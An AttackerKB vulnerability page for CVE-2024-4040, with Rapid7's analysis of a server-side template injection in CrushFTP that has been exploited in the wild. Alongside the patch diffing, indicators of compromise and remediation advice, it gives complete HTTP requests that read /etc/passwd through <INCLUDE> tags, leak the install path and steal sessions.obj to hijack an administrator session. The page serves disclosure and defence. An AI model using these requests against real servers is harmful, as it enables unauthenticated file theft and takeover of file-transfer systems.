Very High
CVE-2024-4040
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2024-4040
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
CVE-2024-4040 was discovered by Simon Garrelou, of Airbus CERT, and it’s a server-side template injection vulnerability for the CrushFTP managed file transfer suite. The vulnerability was reported to CrushFTP on Friday, April 19, 2024. That same day, it was patched and announced via the vendor’s security mailing list, though a CVE wasn’t assigned until Monday, April 22, 2024. The vulnerability impact is primarily unauthenticated arbitrary high-privilege file disclosure, and it can result in full compromise of CrushFTP instances via multiple paths. Additionally, Rapid7 has confirmed that it’s possible to establish remote code execution as a result of the file disclosure primitive.
Anyone running CrushFTP should patch with urgency. When the patch is applied, check for the IOCs outlined in the official Rapid7 analysis to identify any prior successful exploitation. As noted in the analysis, defenders should be aware that exploitation may be masked in logs via mangled exploit web requests.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- crushftp
Products
- crushftp
Exploited in the Wild
- Vendor Advisory (https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- News Article or Blog (https://www.rapid7.com/blog/post/2024/04/23/etr-unauthenticated-crushftp-zero-day-enables-complete-server-compromise/)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/04/24/cisa-adds-three-known-exploited-vulnerabilities-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Overview
On Friday, April 19, 2024, managed file transfer vendor CrushFTP released information to a private mailing list on a new zero-day vulnerability affecting CrushFTP versions below 10.7.1 and 11.1.0 (as well as legacy 9.x versions) across all platforms. No CVE was assigned by the vendor at time of disclosure, but a third-party CVE Numbering Authority (CNA) assigned CVE-2024-4040 as of Monday, April 22.
In the release notes for CrushFTP version 11.1.0 (the fixed version), CVE-2024-4040 was described as an issue with “authenticated sessions”.
Rapid7’s analysis of this vulnerability found that CVE-2024-4040 is fully unauthenticated and easy to weaponize. Although the vulnerability has been called an arbitrary file read, we believe it best fits within the classification of server-side template injection (SSTI) (note: the vulnerability description has been updated to reflect SSTI as the root cause as of April 24). Unauthenticated HTTPS requests are performed to the CrushFTP web interface with SSTI payloads, resulting in arbitrary file read as root, authentication bypass for administrator account access, and theft of all files stored on the instance.
Since CrushFTP in the default configuration uses reversible DES encryption for passwords, attackers can potentially recover all user passwords in plain text. Additionally, Rapid7 has confirmed that attackers can establish remote code execution with these primitives.
The vendor has indicated that the vulnerability has been exploited in the wild; as of April 24, CVE-2024-4040 has also been reported as exploited by CrowdStrike and has been added to CISA KEV. As of Tuesday, April 23, there appeared to be roughly 5,200+ instances of CrushFTP exposed to the public internet. Airbus CERT, who discovered the issue, released proof-of-concept code that triggers the vulnerability on April 23.
Analysis
Diffing the Patch
With the vulnerable and patched versions of CrushFTP in hand, we decompiled the application’s primary JAR file, CrushFTP.jar
, using the CFR decompiler.
$ java -jar cfr-0.152.jar ./CrushFTP.jar --outputdir output/
Upon inspection, the file that handles most unauthenticated and authenticated API web traffic had been changed in the new version. That file, crushftp/server/ServerSessionAJAX.java
, received a number of changes. One of those changes was a modification of the writeResponse
function, which is responsible for building and sending HTTP responses for API requests. That change is shown below:
< if (convertVars) { < response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession); --- > if (convertVars && this.thisSessionHTTP.thisSession != null) { > response = ServerStatus.change_user_safe_vars_to_values_static(response, this.thisSessionHTTP.thisSession.user, this.thisSessionHTTP.thisSession.user_info, this.thisSessionHTTP.thisSession);
Immediately after writeResponse
begins, the ServerStatus.change_vars_to_values
function has been swapped out for the nicer sounding ServerStatus.change_user_safe_vars_to_values_static
. What makes the patched version safe and the older approach unsafe? To figure that out, we’ll first need to make sure that the attack surface defined in this file is reachable without authentication.
Reaching ServerSessionAJAX
In order to interact with the API, we’ll need a no-privilege session as the anonymous
user. Per CrushFTP security design, a session token for this pseudo-user role can be accessed by performing an unauthenticated request to any page with a /WebInterface
prefix. In this case, we’ll grab a token off a 404 page for that endpoint.
GET /WebInterface/ HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close
HTTP/1.1 404 Not Found Set-Cookie: currentAuth=vndQ; path=/; secure; SameSite=None Set-Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; path=/; secure; SameSite=None; HttpOnly Content-Length: 38 Date: Mon, 22 Apr 2024 21:24:38 GMT Server: CrushFTP HTTP Server P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close The selected resource was not found.
As depicted above, a CrushAuth
token is returned for the anonymous
user. It should now be possible to reach the API that’s implemented by ServerSessionAJAX
. We’ll confirm that by calling an API feature we don’t have permission to access: the zip
function. If the anonymous token is working, we should receive an access denied message instead of “The selected resource was not found”.
POST /WebInterface/function/?c2f=vndQ&command=zip&path=aaa&names=/bbb HTTP/1.1 Host: localhost Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
HTTP/1.1 200 OK Cache-Control: no-store Pragma: no-cache Content-Type: text/xml;charset=utf-8 Date: Mon, 22 Apr 2024 21:31:58 GMT Server: CrushFTP HTTP Server P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close Content-Length: 200 <?xml version="1.0" encoding="UTF-8"?> <commandResult><response>You need download, upload permissions to zip a file:/bbb You need upload permissions to zip a file:aaa </response></commandResult>
Perfect! We should be able to reach any unauthenticated functionality in ServerSessionAJAX
with our newly minted anonymous
token.
Variable Replacement
With that out of the way, let’s keep looking at the API response code that was patched. As it turns out, this code path is responsible for the replacement of variables that are present in HTTPS responses, acting as a server-side templating engine. For example, when %hostname%
is present in a response, this code will dynamically replace those filler entries with the appropriate variables and data. For this code path to be used, data in an API response must contain a template pattern for evaluation. The code comments below have been added for clarity.
public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) { try { if (in_str.indexOf(37) < 0 && in_str.indexOf(123) < 0 && in_str.indexOf(125) < 0 && in_str.indexOf(60) < 0) { return in_str; } String r1 = "%"; // Search for percent symbol delimiters, called r1 and r2 String r2 = "%"; while (r < 2) { String user_key2; String user_key; String key; int loc; String key2; [..] // A large number of possible dynamic values, such as “hostname” and “heap_dump”, can be templated if (in_str.indexOf(String.valueOf(r1) + "hostname" + r2) >= 0) { in_str = Common.replace_str(in_str, String.valueOf(r1) + "hostname" + r2, hostname); } if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0) { in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, new Date().toString()); } if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0) { in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, ServerStatus.uSG(user_info, "user_number")); } [..] // Though many options are possible, we’ll jump ahead to the most promising choices for exploitation if (in_str.indexOf(String.valueOf(r1) + "ban" + r2) >= 0) { in_str = Common.replace_str(in_str, String.valueOf(r1) + "ban" + r2, ""); thisObj.ban(user_info, 0, "msg variable"); } if (in_str.indexOf(String.valueOf(r1) + "kick" + r2) >= 0) { in_str = Common.replace_str(in_str, String.valueOf(r1) + "kick" + r2, ""); thisObj.passive_kick(user_info); } if (in_str.indexOf("<SPACE>") >= 0) { in_str = Common.space_encode(in_str); } if (in_str.indexOf("<FREESPACE>") >= 0) { in_str = Common.free_space(in_str); } if (in_str.indexOf("<URL>") >= 0) { in_str = Common.url_encoder(in_str); } if (in_str.indexOf("<REVERSE_IP>") >= 0) { in_str = Common.reverse_ip(in_str); } if (in_str.indexOf("<SOUND>") >= 0) { in_str = ServerStatus.thisObj.common_code.play_sound(in_str); } if (in_str.indexOf("<LIST>") >= 0) { in_str = thisObj.get_dir_list(in_str, the_session); } if (in_str.indexOf("<INCLUDE>") >= 0) { in_str = thisObj.do_include_file_command(in_str); } r1 = "{"; // In addition to percent signs, the application also searches for curly brackets r2 = "}"; ++r; }
The vulnerability seems to be a server-side template injection! If the attacker can get their own data within %%
or {}
in API responses, it looks like the server will evaluate the injection and populate the attacker-provided template.
We can test this hypothesis by repeating our attempt to call the zip
API. This time, we’ll inject a {hostname}
template injection string via one of the arguments that will be printed in the “access denied” message.
POST /WebInterface/function/?c2f=vndQ&command=zip&path={hostname}&names=/bbb HTTP/1.1 Host: localhost Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
HTTP/1.1 200 OK Cache-Control: no-store Pragma: no-cache Content-Type: text/xml;charset=utf-8 Date: Mon, 22 Apr 2024 21:39:59 GMT Server: CrushFTP HTTP Server P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close Content-Length: 210 <?xml version="1.0" encoding="UTF-8"?> <commandResult><response>You need download, upload permissions to zip a file:/bbb You need upload permissions to zip a file:ubuntu-x64-01 </response></commandResult>
Excellent! The template injection worked, and our payload was evaluated to ubuntu-x64-01
in the response body. With SSTI working unauthenticated, how can we leverage this for critical impact?
Arbitrary File Read
Looking back at our possible template payloads, there are some special features that can be invoked with greater-than/less-than tag injections. For example, the <INCLUDE>
tag will call the do_include_file_command
function. This function is called if <INCLUDE>
is present, and it takes the full API response data as its only argument.
public String do_include_file_command(String in_str) { try { String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>")); RandomAccessFile includer = new RandomAccessFile(new File_S(file_name), "r"); byte[] temp_array = new byte[(int)includer.length()]; includer.read(temp_array); includer.close(); String include_data = String.valueOf(new String(temp_array)) + this.CRLF; return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", include_data); } catch (Exception exception) { return in_str; } }
The templating engine searches for the pattern <INCLUDE>.*</INCLUDE>
, extracting a file path from within the two tags. The contents of that file are then fetched and embedded within the response to be returned. This functionality seems likely to expose the arbitrary file read primitive advertised in the vendor advisory. Let’s give it a shot!
POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/etc/passwd</INCLUDE>&names=/bbb HTTP/1.1 Host: localhost Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
HTTP/1.1 200 OK Cache-Control: no-store Pragma: no-cache Content-Type: text/xml;charset=utf-8 Date: Mon, 22 Apr 2024 21:56:44 GMT Server: CrushFTP HTTP Server P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close Content-Length: 3101 <?xml version="1.0" encoding="UTF-8"?> <commandResult><response>You need download, upload permissions to zip a file:/bbb You need upload permissions to zip a file:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:102:105::/nonexistent:/usr/sbin/nologin systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin syslog:x:104:111::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:113:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:116::/run/uuidd:/usr/sbin/nologin systemd-oom:x:108:117:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin tcpdump:x:109:118::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin whoopsie:x:117:124::/nonexistent:/bin/false sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false fwupd-refresh:x:120:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin saned:x:122:129::/var/lib/saned:/usr/sbin/nologin colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:124:131::/var/lib/geoclue:/usr/sbin/nologin pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false </response></commandResult>
We’ve now established unauthenticated arbitrary file read as root.
Authentication Bypass
In CrushFTP, user session tokens are cached in a serialized object that sits in the root of the installation folder. To bypass authentication, we can read that file, spray all the session tokens within against the getUsername
API, then perform malicious actions via live privileged tokens. We’ll use the {working_dir}
template injection payload to leak the CrushFTP install directory, then leverage that to pull sessions.obj
.
POST /WebInterface/function/?command=zip&c2f=vndQ&path={working_dir}&names=/bbb HTTP/1.1 Host: localhost Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
HTTP/1.1 200 OK Cache-Control: no-store Pragma: no-cache Content-Type: text/xml;charset=utf-8 Date: Mon, 22 Apr 2024 22:24:46 GMT Server: CrushFTP HTTP Server P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close Content-Length: 241 <?xml version="1.0" encoding="UTF-8"?> <commandResult><response>You need download, upload permissions to zip a file:/bbb You need upload permissions to zip a file:/home/researcher/CrushFTP/CrushFTP10/ </response></commandResult>
Now that we know the /home/researcher/CrushFTP/CrushFTP10
directory is the target’s install location, we can leak the serialized object to grab an admin user session.
POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>&names=/bbb HTTP/1.1 Host: localhost Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
The serialized object is returned, including all currently live user sessions. With the administrator session cookie, we can gain access to all files and user credentials stored in the CrushFTP system.
We’ll locate and grab the session cookie from the exfiltrated file in the response.
A cURL request to a user API function confirms that we’ve acquired the administrator session cookie.
$ curl 'https://crushftp/WebInterface/function/?command=getUsername&c2f=3dnZ' -H 'Cookie: CrushAuth=1713879298772_dZZeNbE2b7i6bAmGqqjXottYBG3dnZ; currentAuth=3dnZ' -k <?xml version="1.0" encoding="UTF-8"?> <loginResult><response>success</response><username>crushadmin</username></loginResult>
Dropping that cookie into the browser successfully logs us into the admin web console.
IOCs
Malicious requests to exploit the vulnerability can use seemingly any HTTPS method, and payloads can be delivered via request body parameters. The CrushFTP.log
file and the log files in logs/session_logs/
will show the template injection taking place.
ACCEPT|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874 POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1* POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i* POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip* POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ* POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>* POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb POST|04/22/2024 17:47:35.661|* POST|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874 SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1* SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i* SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip* SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ* SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>* SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb SESSION|04/22/2024 17:47:35.661|* SESSION|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK* SESSION|04/22/2024 17:47:36.367|[21_56874:anonymous:127.0.0.1] *Disconnected:*
It’s worth noting that the zip
API abuse and <INCLUDE>
technique leveraged here can be swapped out for other endpoints and techniques. The presence of READ
values containing {
, }
, <
, or >
in logs should be considered the primary indication that exploitation has occurred. It’s also possible that attackers could establish code execution and clean logs to evade detection.
CrushFTP will also accept HTTPS requests that do not conform to RFC standards, which might be used by attackers to evade detection. Even if arbitrary strings are submitted in place of HTTPS verbs, the vulnerability can be exploited. The path can also be heavily modified while still achieving exploitation. Defenders should consider this behavior when implementing detections.
This request will be logged in the CrushFTP.log
file and within logs/session_logs/
:
SESSION|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1* POST|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*
Requests with parameters in the request body seem to require a POST verb for exploitation to occur. However, the path can still be arbitrary data, and payloads included in these requests will be redacted with asterisks in logs.
This request will be logged in the CrushFTP.log
file and within logs/session_logs/
as shown below:
SESSION|04/23/2024 10:35:23.410|[HTTPS:84_56454:lookup:443] Accepting connection from: 127.0.0.1:56454 SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *POST TEST/TESTWTESTebInterface/funTESTction/ HTTP/1.1* SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *Priority: u=0, i* SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *command:zip* SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *c2f:xIo4* SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *path:******** SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *names:/bbb* SESSION|04/23/2024 10:35:23.412|[HTTPS:84_56454:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK* ACCEPT|04/23/2024 10:27:37.610|[HTTPS:84_47426:lookup:443] Accepting connection from: 127.0.0.1:47426 POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *POST /TESTWTESTebInterface/funTESTction/ HTTP/1.1* POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *Priority: u=0, i* POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *command:zip* POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *c2f:xIo4* POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *path:******** POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *names:/bbb* POST|04/23/2024 10:27:37.611|[HTTPS:84_47426:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
Remediation
According to the vendor advisory, the following versions of CrushFTP are vulnerable as of April 23, 2024:
- All legacy CrushFTP 9 installations
- CrushFTP 10 before v10.7.1
- CrushFTP 11 before v11.1.0
After updating the vulnerable software, unauthenticated and authenticated template injections into API responses are no longer evaluated, which appears to effectively mitigate the vulnerability.
The vendor states that the DMZ feature mitigates the vulnerability, but it’s likely that exploitation is still viable in some circumstances. Vulnerable software should be urgently updated via the CrushFTP administrator dashboard. Furthermore, to harden CrushFTP servers against administrator-level remote code execution attacks, Limited Server mode should be enabled with the most restrictive configuration possible. Where possible, use firewalls to aggressively restrict what IP addresses are permitted to access CrushFTP services.
References
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: